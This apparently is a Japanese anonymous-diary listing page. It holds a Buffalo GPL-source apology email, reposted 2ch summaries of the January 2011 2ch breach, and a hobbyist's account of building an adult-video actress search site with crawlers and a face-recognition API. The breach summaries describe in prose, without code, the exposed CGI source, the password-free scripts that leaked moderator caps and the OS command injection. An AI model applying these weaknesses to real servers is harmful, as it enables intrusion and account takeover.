下記URLよりお問い合わせいただきますようお願い申し上げます

 返信用メールサポート受付

 http://buffalo.jp/php/lon.php?to=webx&id=xxxxxxxxxxxxxxx

===========================================

いつもお世話になり有り難うごいます。

私はメール対応責任者でxxxと申します

この度は、GPLソースコードの開示について、

誤った回答を差し上げました事をご連絡する

とともに深くお詫び申し上げます

GPLソースコードにつきまして、社外秘情報として

おりません。

通常は下記ページにて公開を行っておりますが、

DWR-PGについて掲載が遅れている状況でございます。

http://opensource.buffalo.jp/

今週中にはご提供できる予定でございますので、

お待ちいただけますと幸いに存じます

準備でき次第、私からご連絡させて頂きます

また、今後同様のことがなきよう再発防止に

尽力して参ります

最後に誤案内の件、重ねてお詫び申し上げます

株式会社バッファロー

メールサポート責任者xxxx

===========================================

[ご質問内容]

オープンソースソフトウェアGPL関連の質問の対応がこの窓口でで

きないのであれば対応できる窓口を案内していただけるとありがたい

です

よろしくお願いいたします。

[ご質問内容]

DWR-PGに使用されているAndroid OSGPLApacheライセンスのデュ

アルライセンスですが、カーネルなどのLinux由来な部分はGPLとなる

ため、GPLが適用される部分のソースコード開示をお願いいたしま

す。

質問が2個になってしまうのは私が1つにまとめそこねたため。

結果としては、担当者の間違いでしたDWR-PGGPL適用部分は通常のソースコード公開ページに公開されるそうで、解決ですね。

2011-01-07

http://hibari.2ch.net/test/read.cgi/unix/1294308129/84

84 :名無しさんお腹いっぱい。:2011/01/06(木) 22:22:49

585 名前:sakurazaka.jpn.ph[] 投稿日:2011/01/06(木) 22:15:17 ID:B05NruFc0

今回のまとめ作ったけど横に長すぎた

東日本削除人の作業時のログを見つける。http://be.2ch.net/test/sss/hoop.datとか。

 これは誰がいつ削除したかがわかる程度。

だが、/test/sss/以下の全ファイルリストApache仕様で見れた。

 しかもbe鯖のsss/以下にはなぜかcgi拡張子なしで置かれてた。

・それを見つけたモペキチソースコードを入手。

 元の現在動いてるcgiスクリプトを探し出し、それに対してコマンド実行。

・そのcgiも糞で、パスワードなしで2chの全キャップが入手でき、他にもパスなしで板移転なども可能だった。

 ファイル一覧も取得可能だった。

・いろんな人がそれを実行した。板移転もやりたい放題、キャップも全部ばれたのでお止めも自由。

しかファイル一覧取得にもバグがあり、そこからOSコマンドを叩くことも可能。ここで全部のcgiソースを入手可能。

 もちろんバックドアcgiの権限レベルで作り放題。

・もちろんこのバグは全鯖共通で持ってるので過去の鯖でも実行可能。どこまでやられたかは不明。

FOX ★「わしゃ何も困っていないけど?」ってことで訴える気ゼロ。今はススキノタイムオフライン

2011-01-06

893 名前: 動け動けウゴウゴ2ちゃんねる [sage] 投稿日: 11/01/06 23:16 ID:1JmUtdSc

運用情報からまとめ1/2

東日本削除人の作業時のログを見つける。http://be.2ch.net/test/sss/hoop.dat

・これは誰がいつ削除したかがわかる程度だが、/test/sss/以下の全ファイルリストApache設定ミスで閲覧できた。

しかもbe鯖のsss/以下にはなぜかcgi拡張子なしで置かれてた。つまりソースが見れる。ファイルからして2005年から放置

・それを見つけたモペキチは元の現在動いてるcgiスクリプトを探し出し、それに対してソースを元にコマンド実行。

・そのcgiも糞で、パスワードなしで2chの全キャップが入手でき、他にもパスなしで板移転ファイル一覧取得も可能だった。

・いろんな人がそれを実行した。板移転もやりたい放題、キャップも全部ばれたのでお止めも自由。

しかファイル一覧取得にもバグがあり、そこからOSコマンドを叩くことも可能。全部のcgiソースを入手可能。

・つまりcgiの権限であればウイルス設置からファイル削除も可能。最悪この前のbeみたいに鯖が真っ白になりかけた。

・もちろんこのバグは全鯖共通で持ってるので過去の鯖でも実行可能。どこまでやられたかは不明。


151 名前:動け動けウゴウゴ2ちゃんねる2011/01/06(木) 23:18:51 ID:XUdh8QWJ0 2BP(1029)

2ちゃんが終われば ●は使えなくなるぜw

152 名前:動け動けウゴウゴ2ちゃんねる2011/01/06(木) 23:20:38 ID:i/2sgrer0

897 名前: 動け動けウゴウゴ2ちゃんねる [sage] 投稿日: 11/01/06 23:17 ID:1JmUtdSc

まとめ2/2

>>893

FOX ★「わしゃ何も困っていないけど?」ってことで訴える気ゼロで帰った。つまり逮捕はおそらくなし。

・復旧するにはbbs.cgiから全部書き換えることが決定。とりあえず明日以降作り直すことを決めて運営陣解散

結果的にやられたことは

勝手に板移転。板移転メッセージを変え放題だったのでそこにグルーポンへ飛ばすコードやらXSSやらウイルスとか突っ込まれた。

キャップ漏れまくりなので書き込みし放題。現在キャップは全部停止。

cgiリストが見れた上キャップパスも出たので削除や芋ほり(ログ開示)もし放題。これも現在読み書き以外のcgi全部停止。

・全鯖に削除や何かするプログラムを置かれた可能性もありうる。導入する時間は十分あったが、入ってないことを祈るだけ。

・今回の犯人はいつものモペキチ東日本、他ROMの人多数。ただ訴える気ゼロなのでほぼ間違いなく逮捕なし。



見てきました

http://anond.hatelabo.jp/20110106232404

http://anond.hatelabo.jp/20110106231708

なんかたいへんですねー

2011-01-05

探しているエロ動画をすぐに見つけられるシステム作ってみた

本業WEBプログラマだが仕事の合間に、アダルト動画検索エンジン作ってみた制作期間4日間(笑)

http://www.ero-engine.com/

品ぞろえがいいので、何かエロ動画たい!って時に、私はDMMを利用することが多いのだが検索がへぼくてなかなか欲しい動画が見つからなかったりするので、自分でほしい動画を探し出せるようにデータベース化しようと思ったのが最初のきっかけ。

で、キーワードとか、女優スリーサイズジャンルなどから検索することができ、一覧と一緒にサムネイルとか文章も表示されるので、欲しい動画が探しやすいかな、と。後、自分が単体女優の出演作しか購入しないので、それも検索条件に含めることができるようにしました

これからいろいろ機能追加などしていこうかなと思います。

ただ、目立った機能よりも、より使いやすいようなインターフェース作ったり、快適に検索できるように内部的なシステムの調整したりするほうが先かな。

システム的なこと

一応、安価レンタルサーバーなので、いろいろ分散処理したり、ブラウザキャッシュを調整したりしています。

元ネタ

2010-12-04

http://anond.hatelabo.jp/20101203150748

ショックだね。超高速道路というか、そういう以前の問題だよこれは。

やろうとすることを普通の人が身につけるのに3年は掛かるだろうに、しかも、ここまでのクオリティはでない。

唸ってしまう。


HTML+CSS

意図したものを意図したように表示させるのは困難。

だが自分意図で作れる場合は、できないことは回避できる。

回避できるのであれば使うHTMLCSSは限られる。覚えるのは最小限。

Dreamweaverつこーてるのかな?

ツールが解決してくれるのならコードを書く必要すらない。


JavaScript

jQueryでやられていることを自前実装するには技術力が必要。

逆に言うとjQueryが利用できるならそれですむ。

中で何をやっているかなんて詳しく知る必要などない。

世界中のもっと詳しい人がチェックをいれてくれている。jQueryを利用したライブラリやサンプルコードも転がっている。jQueryでできないことがでてきたらどうするか? prototype.jsでも使えばいいじゃない。

ともかく回避方法はいくらでもある。


Perl

扱いがかわいそう。

自分に必要がないもの目的に合致するのに遠回りなものを切り捨てる能力がないと何時まで経っても勉強だけして終わる。


php

PHPで何かしようとしたのではなく、単なるテンプレートエンジンとして割りきって利用したようだ。

表示したいところに表示させたいものを埋め込むだけなら、それはHTMLとほぼ同等の何かでしかなくなる。

LL学習目的はないので寄り道をする必要などない。


クローラー

どの言語でも実装できる。phpを使っていて、なぜRuby

どの言語でやっても一緒なら、できるだけ自分がつくる部分が少ないほうがよい。

phpではクローラーをつくるのにいいライブラリがあるというのを聞いたことがない。

コマンドラインベースで動かす人は皆無だからね。

RubyならPerlたい正規表現に悩まされることもない。なるほど。

素人Ruby環境を例えばLinux上に構築しようとしたらかなり躓くところがあると思う。Railsを使わずにRubyで済ませたというところか。ここらへんから何か恐ろしい

逆算するとクローラーをつくるまで学習を初めてから2ヶ月も掛かっていないことになる。


Apache

クローラーをつくってからApacheを知ったというのがリアルで笑えるのだけど、恐ろしい

Ruby環境PHP環境をどうやって同居させたのかとかそういう苦労が見えない。ということ苦労しなかったのかもしれない。やはりRailsはなくてRubyなのか。

技術者を名乗る人でもRuby環境構築ができない人も多いのにこの人は素直にすごい。

何もないところからLinux環境PHPやらmySQLやらRubyやらの環境構築は熟練した人でも半日かかるめんどくさい作業なのでそれをやれてしまうというところで、3年生ぐらいのエンジニアスキルがあると俺は認める。

それは言い直すと普通に仕事として身につけたとしても一般的には3年はかかるということだ。


MySQL

はてさて、SQLまでかけるようになったというのだろうか。

DB設計は? 確かにこの内容であれば設計を要するほどの複雑さはない。1テーブルで十分。

インデックスとか貼ってないだろうなとは思わせるが、5GBのデータでもこれだけのレスポンスが出てしまう時代だ。

チューニングするぐらならいいハードにのっけなよということか。



デザイン

デザイナーとしても食っていけるだけのスキルがあるんじゃなかろうかとおもってしまう。

GIMPボタンひとつ作るのでもしんどいよ。


Face.com

もう、なんていうか調査能力もすごい。

というか調査能力がすごいんだろうな。

2010-12-03

自分WEBサービスを作りたいと思っている人へ

もう、いいおっさんの年齢なんですが、先日、とあるWEBサービス公開しました

5年ほど前からぼーっと考えていたんですが、如何せん、事務職の自分には”創る技術”が無かった。



優れた若い技術者id:amachangとかうらやましい)や、チャレンジ精神あふれる経営者id:hiroyukiegamiとか)が出てくる中うつうつとしている自分に嫌気がさし、4か月前の7月からHTMLプログラム勉強を始めた。




本屋立ち読みしたら、まずはHTML勉強する必要があると、書いてあった。同時にCSSを学んだ。



プログラムを作りたかったので、次にJavascriptをやった。

jQueryがすごい。「プログラムって誰でもできるんだ。」この時そう思った。



検索システムを作りたかったので、本屋に行ったらCGI/Perlの本がいっぱいあったので、Perl勉強した



しかし、HTMLテンプレートが使いたかったのでPHP+Smarty勉強した



作りたかったWEBサービス大手サイトデータ検索サイトだったので、自動データを集める必要があった。

クローラーというらしい

PerlのLWPを勉強したが、データを集めた後に加工する必要があった。簡単そうだったRubyとMechanizeを勉強した

Rubyはものすごくきれいにプログラムがかけることを知った。話し言葉に近い気がする。



プログラムを作っている時、最初自分パソコンの中でやっていて気付かなかったが、実際に公開するときレンタルサーバーを使うというのを知って調べると、Linuxサーバーが多いということを知った。

から、今度は自宅のあいているパソコンLinuxを入れた。

Linuxを入れたはいいものの、全く使い方が分から四苦八苦してRubyのインストールした

世界中メインで動いているWEBサーバーApacheということも3か月前に知った。

Apacheの設定がテキストファイルなのも驚いた。cd,ls,vi,mv,cp,chmod等、基本的なUNIXコマンドを覚えた。



例の図書館の事件があったので、クローラーを動かすのをためらったが定期的にちょっとずつなら怒られないんじゃないかと、Crontabを勉強した



自宅のサーバーが壊れてしまい、構築が大変だったので今度はVPSサーバーを借りた。

同じように構築はしたがかなり苦労した。このとき、始めてmakeというコマンドを使った。コンパイルというらしい



クローラー自動的にデータを集めていたが、動かし始めて2カ月目でデータファイルが1GBを超えていることに気がついた。

このときテキストファイルデータを扱おうと思っていたが大きすぎて動かない。

SQLサーバーというものを触り始めた。

最終的にデータ量は5GBを超えた。




11月も後半、本稼働用のサーバーを探していたら、丁度カゴヤVPSサーバーベータ版を募集していた。

ここぞとばかりに申し込みボタンクリックして申し込んだ。

すごく、快適です。まだベータですが、本番稼動でも、50GBで900円という激安プランです

http://www.kagoya.jp/cloud/vps/

さくらさんの2.5倍の容量でさくらさんよりちょっと安い。

ベータ版では、3つまでOSインストールができます。もちろんそれぞれにIPアドレスが振られます

このVPSサーバー管理システムインストールし、もろもろの環境も作って、11月末についに、公開。



AV女優スリーサイズから検索できるシステム、「完全に一致です

 【完全に一致AV女優類似検索システム

 http://www.kanzen21.com/

類似検索機能付きで、2次元3次元をつなげる夢のシステムですはい

「なんだエロかよ」とか言わないでください。

真剣に作ったんだ。仕事をしながらよく頑張ったと自分をほめてあげたい







このシステムは、下記のような構成になっています。

----------------------------------------------

サーバー:カゴヤVPSサーバーベータ版)

WEBサーバーApache

SQLサーバーMySQL



HTMLXHTML+CSS

インターフェースjQuery+selectToUISlider

検索プログラムPHP

テンプレートエンジンSmarty

クローラーRuby+Mechanize+Cron

-----------------------------------------------



サーバー上にある静的なHTMLは1ページもなく、mod_rewriteですべてPHPが処理しています。

ボタン等の画像は、GIMP作りました




一番大変だった事は、、、



このサイトデータDMM社のデータを使わせてもらったのですが、AV女優顔写真をそのまま使うのは、肖像権的にNGらしく、AV女優の作品の中からその女優の顔が一番大きく写っているパッケージを使うことにしました

しかし、女優データは約5万件。作品データ12万件。とても手作業でやるわけにもいきませんでした



結局どうしたかというと、Face.com(http://face.com/)という、画像の顔認識ができるAPI無料提供しているサービスを利用しました

同様のことができる、OpenCVというソフトがあるのですが、最初から付いているパターンデータでは人の正面の写真しか顔として認識しませんでした

それに比べて、Face.comの認識精度は驚くほど高く、横だろうが斜めだろうがかなりの精度で顔を認識してくれました

データJSON形式で返してくれる(JSONもこのとき初めて知った)為、取得したデータを後で加工しやすかったです



1.このAPIを使い12万件の作品データをすべてスキャンするプログラムを書く※1

2.顔の縦の長さと横の長さを取得

3.縦×横で顔の面積を計算

4.作品テーブルの中に3で計算した顔の面積を追加

5.SQL女優テーブルと作品テーブルを結合

6.その女優の作品の中で顔面積が一番大きなパッケージ写真をその女優顔写真として代用しました。※2

※1 APIの制限が1時間1000リクエスト迄だったので、これまたCronで・・・

※2 実際には女優テーブルと作品テーブルを繋ぐ中間テーブルのフラグONした。若干の間違いはあるものの、かなり正確に出ました





長々と書きましたが、ズブの素人から約4ヵ月でここまで出来ました

勉強する前、SEをやっている友人に話したら、「3年はかかるんじゃないか?」と言われましたが、できたものを見せたら褒めてくれました

WEBサービスを作りたいと思っていて、技術がないからとあきらめている人は、とりあえずやってみてください。意外に簡単にできますよ。

あと、クローラーが動いていると、全能感を味わえるので楽しいです






あ、あと、椎名舞さんのファンです



-----------------------------------------

19:30追記

サーバーソフトからアラートが上がって、見てみてたらなんかすごいアクセス貰ってまして。

ありがとうございます




>カゴヤ中の人乙wwww VPSといったらさくらServersManくらいし選択肢が無いのは現状当然の認識であるはずなのに!

ゴヤ人間じゃないですよー。広告してるつもりもないんですが、ベータ版だからかもしれませんけど、すごい快適ですよ。今は。

何よりタダなので。

本当に月額900円のまま本公開になったら、環境構築もめんどくさいのでそのまま契約しちゃうかもです




>カゴヤはOpenVZだからなあ。俺としてはより自由度の高いさくらVPSお薦めしたい。

そうなんですか。2週間のお試し期間はつかったのですが、正直どっちがいいとかわかりません。

どんな風に自由度が高いんですかね?あと、アダルトOKなんですっけ?




>組み立てるプログラミングは本当に簡単だよ。 みんなで入り口を隠しているだけだよ。 #組み立てるだけじゃなくて、アルゴリズムを練ることが真のプログラミングかもしれない

そう思います。感覚的にはジグソーパズルに似てました

ただ、ピースを探すのに時間がかかりましたけど。

私の場合は、アルゴリズムとかその辺はできなそうですね-。

サンプルプログラムの組み合わせで作ったようなサービスですので、プログラムソースとかぐっちゃぐちゃです

一応、公開前に見える所はきれいにしたつもりですが・・・






もともと、作ろうと思ったきっかけなんですけど、

椎名舞さんがですね、すでに引退しちゃってるんですよ。ずいぶん前に。

で、彼女プロポーションが大好きなんですね。私。

それで、検索エンジン検索したです。でも、なかなか出ないんですね。



欲望のままにやってたら、次から次に壁にぶち当たって、そしたらいつの間にかできました



結果、このシステム使って椎名舞さんのプロポーションに似たAV女優を探すと、

雛乃つばめさんとか、果梨さんとか、佐伯さきさんとか既にDVD持っている女優さんばっかりヒットしちゃうんですね。確かに似てるんですスタイル

当たっててうれしいやら、既に持っていて悲しいやら。




あと、スタイルが似てる女優って顔も似てる気がする。

とくに最近の細い子は。





あ。デザインは、某企業をパk、じゃないリスペクトさせてもらいました




-------------------------------------

23:55追記

アクセス過多でサーバーが落ちました

寝てたらサーバーからアラートメール携帯に飛んできておこされました

こんな瞬発的なアクセスを考えていなかったので、とりあえず再起動しました

が、また重くなってます。。。どうしたらいいんだろう。

しい方居たらアドバイスいただけるとうれしいです




-------------------------------------

12/4 01:45追記

何度再起動してもサーバーが反応しなくなるので、うぎゃーってなってたのですが、

親切な方が「MySQLサーバーが原因じゃね?デフォルトだろ?query_cache_sizeを設定したらいいよ。」とわざわざお問い合わせからアドバイスくれました

設定してみたら驚くほどつながりやすくなりました

同じSQLクエリーを保持してくれるらしく、実際にデータ検索を行わないので高速になるそうです。こんなの知らなかった。ありがとうごいました

プログラムはサンプルがあるからどうにかなるんですが、サーバー周りの事が全然わかりません。。。。ぐうぅぅ。。。。

おやすみなさい。


-------------------------------------

12/6 23:30追記

ブックマークコメントもらっていた事を別の日記で説明しました

http://anond.hatelabo.jp/20101206224349


-------------------------------------

1/12 10:00追記

最終報告を書きました想定外ばかり。

http://anond.hatelabo.jp/20110112095450

2010-11-19

さくらVPS(ubuntu)で独自ドメインしてみた(日記6)

初回:http://anond.hatelabo.jp/20101118000033

前回:http://anond.hatelabo.jp/20101119000741



以上で独自ドメインの鯖への割り当ての変更は完了できた。

VPS側に特にBIND入れる作業は不要の様子。


以下、参考文献

http://blog.mobf.net/archives/157

https://wiki.ubuntulinux.jp/UbuntuTips/DedicatedServer/ApacheVirtualHost

http://tobysoft.net/wiki/index.php?Ubuntu/apache2

- 転職ならen
- 派遣ならen
4ページ中1ページ目を表示(合計:88件)